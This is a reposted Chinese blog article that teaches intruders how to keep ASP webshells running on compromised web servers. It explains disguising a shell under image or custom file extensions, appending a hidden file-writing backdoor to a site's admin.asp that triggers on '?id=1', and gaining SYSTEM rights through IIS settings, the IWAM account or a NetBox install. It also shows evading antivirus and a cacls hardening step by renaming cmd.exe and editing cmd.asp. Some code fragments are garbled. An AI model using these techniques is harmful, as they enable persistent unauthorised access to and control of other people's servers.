突破常規限制執行asp木馬(轉)

worldblog發表於2007-09-18
突破常規限制執行asp木馬(轉)[@more@]

  指令碼入侵中往往會上傳一個asp木馬來進一步擴大許可權,或者在肉雞中留一個asp後門也是一個不錯的選擇。但是如何讓asp木馬更加隱匿和強大,從而躲過網管查殺逃過防毒軟體追殺,並且具備system許可權呢?改變程式碼變數也許是一個解決問題的辦法,但是我們不如換個角度思考,何不嘗試改變asp木馬的執行方式?

  首先,我們可以換個任意字尾來執行asp木馬。換任意字尾來執行asp檔案方法有兩種,一種是include指令的使用。include指令可以讓我們直接呼叫位於其它檔案的函式,而不管字尾名是什麼。像我寫了一個簡單的asp木馬,功能是遍歷c:盤,原始碼如下:

   c:lcx.txt ") %>

  我們可以將這段原始碼儲存成1.jpg,然後將這句指令<!--#include file="1.jpg"--&gt放在2.asp檔案的檔案頭或檔案尾,那麼我們執行2.asp時,放在2.asp同目錄下的1.jpg同樣也會被呼叫,起到遍歷c:的功能即在c:下生成lcx.txt這一檔案。第二種方法是iis管理器中用asp.dll來解析任意字尾。在iis預設安裝情況下,我們可以查覺asa、cer、cdx字尾也可以成功執行asp程式碼,因為這三種字尾的檔案對映都是呼叫了系統的asp.dll。根據這一啟示,我們可以做一個.lcx的字尾對映,用ntsystem32下的asp.dll來解析,這樣做完後寫有asp原始碼的lcx字尾檔案也會成功執行asp程式。其方法是依次開啟電腦的控制皮膚-管理工具-Internet 服務管理器-web站點-右鍵屬性-主目錄-配置-新增。圖1。

  其次,我們可以讓asp木馬來觸發才執行。無論你的asp木馬寫得多麼好,基本總會呼叫到WSCRIPT.SHELL和Scripting.FileSystemObject這兩個物件。有經驗的網管可以執行查詢功能,讓你的木馬無處可逃。(這裡我也順便給大家提供一個啟明星工作室編寫的查詢asp木馬的工具,見附件)我們能不能做到呼叫這兩個物件的asp木馬不放在肉雞上,需要時能夠隨時上傳執行呢?runasp.asp是一個用asp實現asp檔案的執行的指令碼,雖然還有很多bug,但是對我們呼叫執行asp木馬是足夠用了。更為可怕的是我在runasp.asp裡呼叫測試一些惡意程式碼時,居然躲過了瑞星的查殺。圖2。(由於runasp.asp程式碼太多,文章裡不方便列出,我已將其放在附件裡了,大家可以自己研究一下)我們將runasp.asp放在肉雞上是不是一個很好的asp觸發器後門呢?另外,對付粗心的網管我們還可以將這樣一段程式碼放在asp檔案裡:

  

  on error resume next

  id=request("id")

  if request("id")=1 then

  testfile=Request.form("name")

  msg=Request.form("message")

  set fs=server.CreateObject("scripting.filesystemobject")

  set thisfile=fs.OpenTextFile(testfile,8,True,0)

  thisfile.WriteLine(""&msg& "")

  thisfile.close

  set fs = nothing

  %>

  

  

  value=>

  

  

  

  

  像我放在動網文章的admin.asp的檔案尾端,當網管執行http://動網文章url/admin.asp時並沒有引起絲毫變化,而當我們執行http://動網文章url/admin.asp?id=1時,就可以根據我們的需要生成任意asp木馬檔案了。

  最後,我們要讓asp木馬具備系統許可權。我們的木馬現在隱匿得很深,躲過了細心網管和防毒軟體,不具備系統許可權我們心有不甘。讓asp木馬具備系統許可權的方法有三種,第一種是在iis管理器中的主目錄選項裡將應用程式保護選擇為:低(iis程式)圖3。第二種是將"IWAM_machine"這一使用者加入administrators組即可。這兩種方法我想大家也許都耳熟能詳了,但第3種也許就不為人所知了。netbox是一款由北京綜藝達軟體技術有限公司自主研製的編譯及開發工具,除了Apache和微軟的IIS以外,目前是世界上第三個可以執行asp的應用伺服器,在Windows98/NT/2000/Me/XP下都可以直接執行,而且是一個大小僅為440kb的綠色檔案。我已將netbox配置好了(請見附件的netbox資料夾),大家使用的時候,只需將netbox資料夾放在某個磁碟機代號下,再在cmd下執行"x: etbox etbox.exe -install"即可安裝成功netbox,以後就可以執行了。需要指出的是我在netbox的配置檔案裡main.box裡寫了這樣兩行程式碼:

  If httpd.Create("", 88) = 0 Then

  Set host = httpd.AddHost("", "wwwroot")

  意思是web的埠為88,asp檔案放在netbox目錄下的wwwroot資料夾。這個埠和資料夾,你都可以根據自己的需要用記事本開啟main.box來修改你所想要的。我們使用這一軟體最大的一個好處是我們的asp木馬在netbox環境下具備了系統許可權,也許用它在肉雞上做主頁留後門也是一個不錯的選擇喲。

  另外,因為我整篇文章寫得是如何突破常規限制來執行asp木馬,所以還有一點我要提及。在駭客防線2003年7期xhacker有篇文章《巧妙設定cmd許可權加強主機安全配置》提到過防止網上流行的cmd.asp木馬(見附件)方法是可以用

  cacls %systemroot/system32/cmd.exe /E /D IUSR_machine

  cacls %systemroot/system32/dllcache/cmd.exe /E /D IUSR_machine

  這樣兩條命令來限止cmd.exe的許可權,於是cmd.asp木馬就失去作用了。針對這種限制我們也有辦法突破,我們可以將本機的cmd.exe改名傳到肉雞上,假設我們將cmd.exe改名為lcx.exe,傳在肉雞的d:lcx目錄下,於是我們開啟cmd.asp, 找到

  Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)這一行原始碼,改為

  Call oScript.Run ("d:lcxlcx.exe /c " & szCMD & " > " & szTempFile, 0, True)即可,我們又可以成功執行cmd.asp了。

  總之,如何能更好地執行asp木馬,發揮出它的強大功能,還是需要我們多動腦多動手,只有這樣我們才會有新的發現。

  

·上一篇:

·下一篇:
 
     最新更新
·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·


| | | | | | |

Copyright © 2004 - 2007 All Rights Reserved

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10752043/viewspace-969898/,如需轉載,請註明出處,否則將追究法律責任。

突破常規限制執行asp木馬(轉)
請登入後發表評論 登入
全部評論

相關文章